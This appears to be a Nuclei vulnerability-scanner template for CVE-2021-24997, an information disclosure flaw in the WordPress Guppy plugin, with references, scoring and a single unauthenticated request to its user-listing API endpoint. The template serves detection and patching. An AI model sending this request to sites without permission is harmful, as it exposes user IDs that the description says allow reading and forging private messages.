WordPress Guppy plugin through 1.1 is susceptible to an API disclosure vulnerability. This can allow an attacker to obtain all user IDs and then use them to make API requests to get messages sent between users and/or send messages posing as one user to another.
PoC代码[已公开]
id: CVE-2021-24997
info:
name: WordPress Guppy <=1.1 - Information Disclosure
author: Evan Rubinstein
severity: medium
description: WordPress Guppy plugin through 1.1 is susceptible to an API disclosure vulnerability. This can allow an attacker to obtain all user IDs and then use them to make API requests to get messages sent between users and/or send messages posing as one user to another.
impact: |
An attacker can exploit this vulnerability to gain sensitive information from the target system.
remediation: |
Update to the latest version of the WordPress Guppy plugin (version >1.1) to mitigate the information disclosure vulnerability.
reference:
- https://www.exploit-db.com/exploits/50540
- https://patchstack.com/database/vulnerability/wp-guppy/wordpress-wp-guppy-plugin-1-2-sensitive-information-disclosure-vulnerability
- https://wpscan.com/vulnerability/747e6c7e-a167-4d82-b6e6-9e8613f0e900
- https://nvd.nist.gov/vuln/detail/CVE-2021-24997
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
cvss-score: 6.5
cve-id: CVE-2021-24997
cwe-id: CWE-862
epss-score: 0.04579
epss-percentile: 0.888
cpe: cpe:2.3:a:wp-guppy:wp_guppy:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: wp-guppy
product: wp_guppy
framework: wordpress
tags: cve,cve2021,wordpress,guppy,api,wp-plugin,edb,wpscan,wp-guppy
http:
- method: GET
path:
- "{{BaseURL}}/wp-json/guppy/v2/load-guppy-users?userId=1&offset=0&search="
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"guppyUsers":'
- '"userId":'
- '"type":'
condition: and
- type: status
status:
- 200
# digest: 490a0046304402203c0013e94c48d5ffded92d155be71d3fbc77fc7462650d51fd9d418551bedbe2022059990cb08c40b2a3ddb4cfc9bde8aaf49042da401f1b4ef74b94abce96308d82:922c64590222798bb761d5b6d8e72950